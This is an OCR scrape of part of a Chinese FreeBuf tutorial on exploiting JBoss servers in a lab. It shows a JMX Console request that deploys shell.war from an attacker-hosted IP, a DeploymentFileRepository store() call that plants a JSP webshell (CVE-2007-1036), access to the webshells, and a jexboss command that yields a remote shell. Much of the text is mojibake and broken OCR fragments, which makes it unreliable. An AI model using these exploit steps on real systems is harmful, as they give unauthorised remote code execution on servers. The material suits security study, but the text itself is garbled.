:1@] "GET / HTTP/1.1" 200 -
:08:00] "GET /shell.war HTTP/1.1"

1
1
1
1
193
i

-
. JBoss JMX MBean Operation View back 18 b
B oy Ao it S Eiurecaer Fmacia billean Opera

Object Name Filter
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a
2 prptbotratn
T

R EREZEGIT TENEDIHEEA

http://192.168.10.154 : 8080/ jmx -console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodindex=17&arg0=htt
p://192.168.10.65/shell .war

Cs % MeetHunter Dffenshee Security MSFU # Exploi-DB & GHDE

JMX MBean Operation View

wom E v |

WS B INEF

e http://192.168.10.154:8080/shell/shell. jsp -

[ URL: | http://192.168.10.154:8080/shell/shell jsp

BEEES | ST | Sk THEE AREE | FSSchell | BIEEEE | @ENYHE FHr==E yrEDEE &5
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EREMERRRNWT, AINELEMEREL war R,

C:\jboss-6.1.0.Final\server\default\work\jboss.web\localhost

« EHBEEE (C:) » jboss-6.1.0.Final » server » default » work » jboss.web » localhost »

SREh > HEv  FEETEE

-

v

o =3 H
= [h

admin-console

I invoker
jrx-console
shell

RERHIF

X [F] jmx—console 1 web-console, {E&ZE4t.,
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7.JMX Console HtmlAdaptor Getshell #JFH (CVE-2007-1036)
i[R3R

tERIAEZER BT JBoss H /jmx-console/HtmlAdaptor FEIZRIIIMTIL, FRIRBEMQSMHIGENS], SHREE R AEANE!
jmx Z2Hla, AEEPRITECINEE.

22N ki 4
Jboss4 xAT

i =2 I

Aurl:http://192.168.10.213: 8080/ jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRe
positoryEfiZlvoid store()

“ ] £ 192.168.10.213

¢ Kali Limnux X Kali Training & Kali Tools & Kali Forums = Kali Docs

|p2 java.lang. String | |[nu description)

|p3 java_lang. String | |[nn description)
Invoke

void store()

MEean Operation,

|pl java.lang. String | |[l1c| description)
|p2 java.lang. String | |[nn description)
IF'3 .,,aua.lang.STrmg I [{nn description)
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I

I I
|p4 java.lang. String | |[nc| description)

|p5 boolean | OTrue  False |[I1CI description)
Invoke

DARETSEHEAAST:

p1 EARIERE war BRRF, p2 EANE LEXXHIXHR, p3 EANE LEXMHIREI, pd AN LEXHHNAS

void store()

MBean Operation.

ParamType ParamValue ParamDescription

pl java.lang.String | zcc.war (no description)
p2 java.lang.String | zcc (no description)
p3 java.lang.String | .jsp (no description)

p4 java.lang.String | <%@page import="java.utiL.*,j ((no description)

p5 boolean O True False (no description)

Invoke

= invoke
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{2 0 & 192.168.10.213

< e

o Kali Linux % Kali Training & Kali Toocls X Kali Ferums = Kali Docs o< MetHunter

JMX MBean Operation Result store()

Back to Agent View  Back to MBean View  Reinvoke MBean Operation

Operation completed successfully without a return value.,

2N, EZEA, EREREEAY, BHEAEE, TELEWNE, XZNEE, EHRE, BIMEERRAIERNS
RE—T, HoRS.

n g g TewwmTymmy  dremay T p semeseng Iram gy mmma gty tEEmayr ot

s

= Bz Al ¥EeRnTiE

| | zccwar Ciyboss-4.2.3.GA\server\default\deployymanagement 2021/8/23 13:48
1 KB 2021/8/23 13:41

Ic-:jsp C:\jboss-4.2.3.6A\server\default\deploy\ymanagement\zcc.war

https://www.freebuf.com/articles/web/286571 .html
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T b http:/f192.168.10.213:8080/zcc/zcc jsp - (| >
3

[ | URL: | hitp://192.168.10.21 3:8080/zccfzccs

EEEEl

" BB S4iT EEEEE raEE AREE  Rishel | BURREH aEMARE FomaE yEDE SR EiRmR

TERHIP

BRIEAEEEM T AR T UMEEXTRZEEM, BRIEMIETT FE: http://cve.mitre.org/cgi-bin/cvename.cgi?
name=CVE-2007-1036

M. Bt &
jexboss BEpfti2iE

jexboss BEX jboss BiEEMMMMAITHZS, AT MUIXAFIA JBoss Application Server Ml1EAM: java F& . EZR. NA
EFREFTHREN IR,

TEHbE: https://github.com/joaomatosf/jexboss
XEERIIMEER R EEREEN 4.x /M 6.x BIHE,
BN

python jexboss.py -host http://192.168.10.213:8080/

https://www.freebuf.com/articles/web/286571 .html 52/55



2021/11/21 F4-3:24 TBossH A1 R 4 4 - FreeBuf 4% 22447k 1/

WA yes BIF]

raol @ kel

XHHF)  BHEA) WHEE) BEV)

L provi a simple command shell
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Failed to check for updates
Shell> ipconfig
Failed to check for updates

Windows IP B H

-4 1AL-BFBE-F8

W

https://www .freebuf.com/articles/web/286571 .html 54/55



2021/11/21 F4-3:24 TBossH A1 R 4 4 - FreeBuf 4% 22447k 1/

INRE.,
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